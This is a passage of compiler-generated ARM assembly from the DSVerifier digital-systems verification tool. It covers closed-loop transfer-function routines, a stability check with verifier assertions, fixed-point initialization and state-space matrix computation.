cmp r2, r3
ble .L873
ldr r2, [fp, #-24]
ldr r3, [fp, #-36]
sub r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
add r1, fp, #12
ldmia r1, {r0-r1}
bl internal_pow
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r4, r2, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L871:
ldr r2, [fp, #-36]
ldr r3, [fp, #-24]
cmp r2, r3
ble .L874
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size get_delta_transfer_function_with_base, .-get_delta_transfer_function_with_base
.section .rodata
.align 2
.LC39:
.word __stack_chk_guard
.text
.align 2
.global ft_closedloop_series
.syntax unified
.arm
.fpu softvfp
.type ft_closedloop_series, %function
ft_closedloop_series:
@ args = 32, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #60
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #4]
str r3, [fp, #-48]
ldr r3, [fp, #12]
str r3, [fp, #-52]
ldr r3, [fp, #20]
str r3, [fp, #-56]
ldr r3, [fp, #28]
str r3, [fp, #-60]
ldr r3, .L877
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r2, [fp, #-36]
ldr r3, [fp, #8]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #24]
ldr r2, [fp, #-44]
ldr r3, [fp, #16]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #32]
ldr ip, [fp, #32]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
ldr r3, [fp, #24]
str r3, [sp, #4]
ldr r3, [fp, #-56]
str r3, [sp]
ldr r3, [fp, #8]
ldr r2, [fp, #-48]
ldr r1, [fp, #-36]
ldr r0, [fp, #-32]
bl poly_mult
ldr r3, [fp, #32]
str r3, [sp, #4]
ldr r3, [fp, #-20]
str r3, [sp]
ldr r3, [fp, #16]
ldr r2, [fp, #-52]
ldr r1, [fp, #-44]
ldr r0, [fp, #-40]
bl poly_mult
ldr r3, [fp, #32]
str r3, [sp, #4]
ldr r3, [fp, #-60]
str r3, [sp]
ldr r3, [fp, #32]
ldr r2, [fp, #-20]
ldr r1, [fp, #24]
ldr r0, [fp, #-56]
bl poly_sum
mov sp, r4
nop
ldr r3, .L877
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L876
bl __stack_chk_fail
.L876:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L878:
.align 2
.L877:
.word .LC39
.size ft_closedloop_series, .-ft_closedloop_series
.section .rodata
.align 2
.LC40:
.word __stack_chk_guard
.text
.align 2
.global ft_closedloop_sensitivity
.syntax unified
.arm
.fpu softvfp
.type ft_closedloop_sensitivity, %function
ft_closedloop_sensitivity:
@ args = 32, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #60
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #4]
str r3, [fp, #-48]
ldr r3, [fp, #12]
str r3, [fp, #-52]
ldr r3, [fp, #20]
str r3, [fp, #-56]
ldr r3, [fp, #28]
str r3, [fp, #-60]
ldr r3, .L881
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r2, [fp, #-36]
ldr r3, [fp, #8]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-28]
ldr r2, [fp, #-44]
ldr r3, [fp, #16]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #32]
ldr r2, [fp, #-44]
ldr r3, [fp, #16]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #24]
ldr ip, [fp, #-28]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
ldr r3, [fp, #24]
str r3, [sp, #4]
ldr r3, [fp, #-56]
str r3, [sp]
ldr r3, [fp, #16]
ldr r2, [fp, #-52]
ldr r1, [fp, #-44]
ldr r0, [fp, #-40]
bl poly_mult
ldr r3, [fp, #-28]
str r3, [sp, #4]
ldr r3, [fp, #-20]
str r3, [sp]
ldr r3, [fp, #8]
ldr r2, [fp, #-48]
ldr r1, [fp, #-36]
ldr r0, [fp, #-32]
bl poly_mult
ldr r3, [fp, #32]
str r3, [sp, #4]
ldr r3, [fp, #-60]
str r3, [sp]
ldr r3, [fp, #-28]
ldr r2, [fp, #-20]
ldr r1, [fp, #24]
ldr r0, [fp, #-56]
bl poly_sum
mov sp, r4
nop
ldr r3, .L881
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L880
bl __stack_chk_fail
.L880:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L882:
.align 2
.L881:
.word .LC40
.size ft_closedloop_sensitivity, .-ft_closedloop_sensitivity
.section .rodata
.align 2
.LC41:
.word __stack_chk_guard
.text
.align 2
.global ft_closedloop_feedback
.syntax unified
.arm
.fpu softvfp
.type ft_closedloop_feedback, %function
ft_closedloop_feedback:
@ args = 32, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #68
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, [fp, #4]
str r3, [fp, #-56]
ldr r3, [fp, #12]
str r3, [fp, #-60]
ldr r3, [fp, #20]
str r3, [fp, #-64]
ldr r3, [fp, #28]
str r3, [fp, #-68]
ldr r3, .L885
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r2, [fp, #-52]
ldr r3, [fp, #8]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #24]
ldr r2, [fp, #-52]
ldr r3, [fp, #16]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #32]
ldr r2, [fp, #-44]
ldr r3, [fp, #8]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-36]
ldr ip, [fp, #32]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-28]
ldr ip, [fp, #-36]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
ldr r3, [fp, #-36]
str r3, [sp, #4]
ldr r3, [fp, #-20]
str r3, [sp]
ldr r3, [fp, #8]
ldr r2, [fp, #-56]
ldr r1, [fp, #-44]
ldr r0, [fp, #-40]
bl poly_mult
ldr r3, [fp, #32]
str r3, [sp, #4]
ldr r3, [fp, #-28]
str r3, [sp]
ldr r3, [fp, #16]
ldr r2, [fp, #-60]
ldr r1, [fp, #-52]
ldr r0, [fp, #-48]
bl poly_mult
ldr r3, [fp, #32]
str r3, [sp, #4]
ldr r3, [fp, #-68]
str r3, [sp]
ldr r3, [fp, #32]
ldr r2, [fp, #-28]
ldr r1, [fp, #-36]
ldr r0, [fp, #-20]
bl poly_sum
ldr r3, [fp, #24]
str r3, [sp, #4]
ldr r3, [fp, #-64]
str r3, [sp]
ldr r3, [fp, #8]
ldr r2, [fp, #-56]
ldr r1, [fp, #-52]
ldr r0, [fp, #-48]
bl poly_mult
mov sp, r4
nop
ldr r3, .L885
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L884
bl __stack_chk_fail
.L884:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L886:
.align 2
.L885:
.word .LC41
.size ft_closedloop_feedback, .-ft_closedloop_feedback
.section .rodata
.align 2
.LC42:
.word __stack_chk_guard
.text
.align 2
.global check_stability_closedloop
.syntax unified
.arm
.fpu softvfp
.type check_stability_closedloop, %function
check_stability_closedloop:
@ args = 8, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, r10, fp, lr}
add fp, sp, #32
sub sp, sp, #84
str r0, [fp, #-96]
str r1, [fp, #-100]
str r2, [fp, #-104]
str r3, [fp, #-108]
ldr r3, [fp, #4]
str r3, [fp, #-112]
ldr r3, .L913
ldr r3, [r3]
str r3, [fp, #-40]
mov r3,#0
mov r3, sp
mov r10, r3
ldr r3, [fp, #-100]
str r3, [fp, #-84]
ldr ip, [fp, #-100]
ldr r3, [fp, #-100]
lsl r3, r3, #1
sub lr, r3, #1
sub r3, ip, #1
str r3, [fp, #-76]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r4, r3, #3
sub r3, lr, #1
str r3, [fp, #-72]
mov r3, ip
mov r6, r3
mov r7, #0
mov r3, lr
mov r0, r3
mov r1, #0
mul r2, r0, r7
mul r3, r6, r1
add r5, r2, r3
umull r2, r3, r6, r0
add r1, r5, r3
mov r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r3, ip
mov r6, r3
mov r7, #0
mov r3, lr
mov r0, r3
mov r1, #0
mul r2, r0, r7
mul r3, r6, r1
add r5, r2, r3
umull r2, r3, r6, r0
add r1, r5, r3
mov r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r3, ip
mov r2, lr
mul r3, r2, r3
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-68]
mov r3, #0
str r3, [fp, #-64]
ldr r3, [fp, #-104]
str r3, [fp, #-60]
ldr r3, [fp, #-112]
str r3, [fp, #-56]
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-88]
b .L888
.L889:
ldr r3, [fp, #-88]
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L888:
ldr r2, [fp, #-88]
ldr r3, [fp, #-100]
cmp r2, r3
blt .L889
mov r3, #1
mov r5, r3
mov r2, #0
mov r3, #0
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L890
mov r3, #0
mov r5, r3
.L890:
and r3, r5, #255
mov r0, r3
bl __DSVERIFIER_assert
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-88]
b .L891
.L892:
ldr r3, [fp, #-88]
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r3, [fp, #-100]
sub r2, r3, #1
ldr r3, [fp, #-88]
sub r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L913+4
bl internal_pow
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L891:
ldr r2, [fp, #-88]
ldr r3, [fp, #-100]
cmp r2, r3
blt .L892
ldr r3, [fp, #-100]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L913+4
bl internal_pow
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #1
mov r5, r3
mov r2, #0
mov r3, #0
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L893
mov r3, #0
mov r5, r3
.L893:
and r3, r5, #255
mov r0, r3
bl __DSVERIFIER_assert
ldr r3, [fp, #-100]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl internal_abs
ldr r3, [fp, #-96]
ldmia r3, {r2-r3}
mov ip, #1
mov r5, ip
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
bne .L894
mov r3, #0
mov r5, r3
.L894:
and r3, r5, #255
mov r0, r3
bl __DSVERIFIER_assert
mov r3, #0
str r3, [fp, #-88]
b .L895
.L908:
mov r3, #0
str r3, [fp, #-92]
b .L896
.L907:
lsr r3, r4, #3
ldr r2, [fp, #-68]
ldr r1, [fp, #-88]
mul r1, r3, r1
ldr r3, [fp, #-92]
add r3, r1, r3
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-88]
cmp r3, #0
bne .L897
ldr r3, [fp, #-92]
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
lsr r1, r4, #3
ldmia r3, {r2-r3}
ldr r0, [fp, #-68]
ldr ip, [fp, #-88]
mul ip, r1, ip
ldr r1, [fp, #-92]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
b .L898
.L897:
ldr r3, [fp, #-88]
and r3, r3, #1
cmp r3, #0
beq .L899
mov r3, #0
str r3, [fp, #-80]
b .L900
.L901:
lsr r0, r4, #3
ldr r3, [fp, #-88]
sub ip, r3, #1
ldr r2, [fp, #-84]
ldr r3, [fp, #-80]
sub r3, r2, r3
sub r3, r3, #1
lsr r1, r4, #3
ldr r2, [fp, #-68]
mul r0, ip, r0
add r3, r0, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, [fp, #-68]
ldr ip, [fp, #-88]
mul ip, r1, ip
ldr r1, [fp, #-80]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L900:
ldr r2, [fp, #-80]
ldr r3, [fp, #-84]
cmp r2, r3
blt .L901
ldr r3, [fp, #-84]
sub r3, r3, #1
str r3, [fp, #-84]
ldr r3, [fp, #-84]
str r3, [fp, #-92]
b .L898
.L899:
lsr r3, r4, #3
ldr r2, [fp, #-88]
sub r1, r2, #2
ldr r2, [fp, #-68]
mul r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r3, #1
mov r5, r3
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L902
mov r3, #0
mov r5, r3
.L902:
and r3, r5, #255
mov r0, r3
bl __DSVERIFIER_assert
lsr r3, r4, #3
ldr r2, [fp, #-88]
sub r1, r2, #2
ldr r2, [fp, #-68]
mul r1, r3, r1
ldr r3, [fp, #-92]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r6-r7}
lsr r3, r4, #3
ldr r2, [fp, #-88]
sub r1, r2, #2
ldr r2, [fp, #-68]
mul r1, r3, r1
ldr r3, [fp, #-84]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
lsr r3, r4, #3
ldr r2, [fp, #-88]
sub ip, r2, #2
ldr r2, [fp, #-68]
mul r3, ip, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
lsr r3, r4, #3
ldr r2, [fp, #-88]
sub r1, r2, #1
ldr r2, [fp, #-68]
mul r1, r3, r1
ldr r3, [fp, #-92]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r8
mov r1, r9
bl __aeabi_dmul
mov r2, r0
mov r3, r1
lsr r5, r4, #3
mov r0, r6
mov r1, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r0, [fp, #-68]
ldr r1, [fp, #-88]
mul ip, r1, r5
ldr r1, [fp, #-92]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-68]
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L903
lsr r3, r4, #3
ldr r2, [fp, #-68]
ldr r1, [fp, #-88]
mul r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L903
mov r3, #1
b .L906
.L903:
mov r3, #0
.L906:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
.L898:
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L896:
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
cmp r2, r3
blt .L907
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L895:
ldr r3, [fp, #-100]
lsl r3, r3, #1
sub r3, r3, #1
ldr r2, [fp, #-88]
cmp r2, r3
blt .L908
mov r3, #1
mov sp, r10
ldr r2, .L913
ldr r1, [r2]
ldr r2, [fp, #-40]
eors r1, r2, r1
mov r2, #0
beq .L910
bl __stack_chk_fail
.L910:
mov r0, r3
sub sp, fp, #32
@ sp needed
pop {r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L914:
.align 2
.L913:
.word .LC42
.word -1074790400
.size check_stability_closedloop, .-check_stability_closedloop
.section .rodata
.align 2
.LC43:
.ascii "impl.frac_bits must be less than word width!\000"
.align 2
.LC44:
.ascii "impl.int_bits must be less than word width subtract"
.ascii "ed by precision!\000"
.align 2
.LC45:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/core/initialization.h\000"
.align 2
.LC46:
.ascii "0\000"
.text
.align 2
.global initialization
.syntax unified
.arm
.fpu softvfp
.type initialization, %function
initialization:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
ldr r3, .L928
ldr r3, [r3, #4]
cmp r3, #31
ble .L916
ldr r0, .L928+4
bl puts
.L916:
ldr r3, .L928
ldr r2, [r3]
ldr r3, .L928
ldr r3, [r3, #4]
rsb r3, r3, #32
cmp r2, r3
blt .L917
ldr r0, .L928+8
bl puts
ldr r3, .L928+12
mov r2, #33
ldr r1, .L928+16
ldr r0, .L928+20
bl __assert_fail
.L917:
ldr r3, .L928
ldr r3, [r3, #4]
cmp r3, #30
ble .L918
ldr r3, .L928+24
mvn r2, #-2147483648
str r2, [r3]
b .L919
.L918:
ldr r3, .L928
ldr r3, [r3, #4]
mov r2, #1
lsl r3, r2, r3
ldr r2, .L928+24
str r3, [r2]
.L919:
ldr r3, .L928
ldr r3, [r3, #4]
sub r3, r3, #1
mov r2, #1
lsl r3, r2, r3
ldr r2, .L928+28
str r3, [r2]
ldr r3, .L928
ldr r3, [r3, #4]
mov r2, #1
lsl r3, r2, r3
rsb r3, r3, #0
ldr r2, .L928+32
str r3, [r2]
ldr r3, .L928
ldr r2, [r3, #4]
ldr r3, .L928
ldr r3, [r3]
add r3, r2, r3
sub r3, r3, #1
mov r2, #1
lsl r3, r2, r3
rsb r3, r3, #0
ldr r2, .L928+36
str r3, [r2]
ldr r3, .L928
ldr r2, [r3, #4]
ldr r3, .L928
ldr r3, [r3]
add r3, r2, r3
sub r3, r3, #1
mov r2, #1
lsl r3, r2, r3
sub r3, r3, #1
ldr r2, .L928+40
str r3, [r2]
ldr r3, .L928
ldr r3, [r3, #4]
mov r2, #1
lsl r3, r2, r3
sub r3, r3, #1
ldr r2, .L928+44
str r3, [r2]
ldr r3, .L928
ldr r3, [r3, #4]
rsb r3, r3, #31
mov r2, #-2147483648
lsr r3, r2, r3
mov r2, r3
ldr r3, .L928+48
str r2, [r3]
ldr r3, .L928+36
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r1, .L928+52
stm r1, {r2-r3}
ldr r3, .L928+52
ldmia r3, {r4-r5}
ldr r3, .L928
ldr r3, [r3, #4]
mov r2, #1
lsl r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, .L928+52
stm r1, {r2-r3}
ldr r3, .L928+40
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r1, .L928+56
stm r1, {r2-r3}
ldr r3, .L928+56
ldmia r3, {r4-r5}
ldr r3, .L928
ldr r3, [r3, #4]
mov r2, #1
lsl r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, .L928+56
stm r1, {r2-r3}
ldr r3, .L928
ldr r3, [r3, #40]
cmp r3, #0
beq .L920
ldr r3, .L928
ldr r3, [r3, #40]
cmp r3, #1
bne .L921
.L920:
ldr r3, .L928
mov r2, #1
str r2, [r3, #40]
pop {r4, r5, fp, pc}
.L921:
ldr r3, .L928
add r1, r3, #16
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L923
ldr r3, .L928
add r5, r3, #16
ldmia r5, {r4-r5}
ldr r3, .L928
ldr r3, [r3, #40]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, .L928
str r2, [r1, #16]
str r3, [r1, #20]
.L923:
ldr r3, .L928
add r1, r3, #8
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
popne {r4, r5, fp, pc}
ldr r3, .L928
add r5, r3, #8
ldmia r5, {r4-r5}
ldr r3, .L928
ldr r3, [r3, #40]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, .L928
str r2, [r1, #8]
str r3, [r1, #12]
pop {r4, r5, fp, pc}
.L929:
.align 2
.L928:
.word impl
.word .LC43
.word .LC44
.word __PRETTY_FUNCTION__.6844
.word .LC45
.word .LC46
.word _fxp_one
.word _fxp_half
.word _fxp_minus_one
.word _fxp_min
.word _fxp_max
.word _fxp_fmask
.word _fxp_imask
.word _dbl_min
.word _dbl_max
.size initialization, .-initialization
.section .rodata
.align 2
.LC47:
.word __stack_chk_guard
.text
.align 2
.global double_state_space_representation
.syntax unified
.arm
.fpu softvfp
.type double_state_space_representation, %function
double_state_space_representation:
@ args = 0, pretend = 0, frame = 272
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #288
ldr r3, .L937
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-276]
b .L931
.L934:
mov r3, #0
str r3, [fp, #-272]
b .L932
.L933:
ldr r3, [fp, #-276]
lsl r2, r3, #2
ldr r3, [fp, #-272]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #264
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-276]
lsl r2, r3, #2
ldr r3, [fp, #-272]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-272]
add r3, r3, #1
str r3, [fp, #-272]
.L932:
ldr r3, [fp, #-272]
cmp r3, #3
ble .L933
ldr r3, [fp, #-276]
add r3, r3, #1
str r3, [fp, #-276]
.L931:
ldr r3, [fp, #-276]
cmp r3, #3
ble .L934
ldr r3, .L937+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L937+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L937+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L937+12
str r3, [sp, #4]
ldr r3, .L937+16
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L937+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L937+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L937+20
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L937+24
str r3, [sp, #4]
ldr r3, .L937+28
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L937+4
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L937+32
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L937+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L937+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L937+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L937+12
str r3, [sp, #4]
ldr r3, .L937+36
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L937+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L937+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L937+20
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L937+24
str r3, [sp, #4]
ldr r3, .L937+40
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L937+8
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L937+12
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L937+36
add r3, r3, #640
ldmia r3, {r2-r3}
ldr r1, .L937
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L936
bl __stack_chk_fail
.L936:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L938:
.align 2
.L937:
.word .LC47
.word nOutputs
.word nStates
.word _controller+512
.word _controller+256
.word nInputs
.word _controller+768
.word _controller+384
.word _controller+640
.word _controller
.word _controller+128
.size double_state_space_representation, .-double_state_space_representation
.section .rodata
.align 2
.LC48:
.word __stack_chk_guard
.text
.align 2
.global fxp_state_space_representation
.syntax unified
.arm
.fpu softvfp
.type fxp_state_space_representation, %function
fxp_state_space_representation:
@ args = 0, pretend = 0, frame = 592
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #608
ldr r3, .L1010
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-592]
b .L940
.L943:
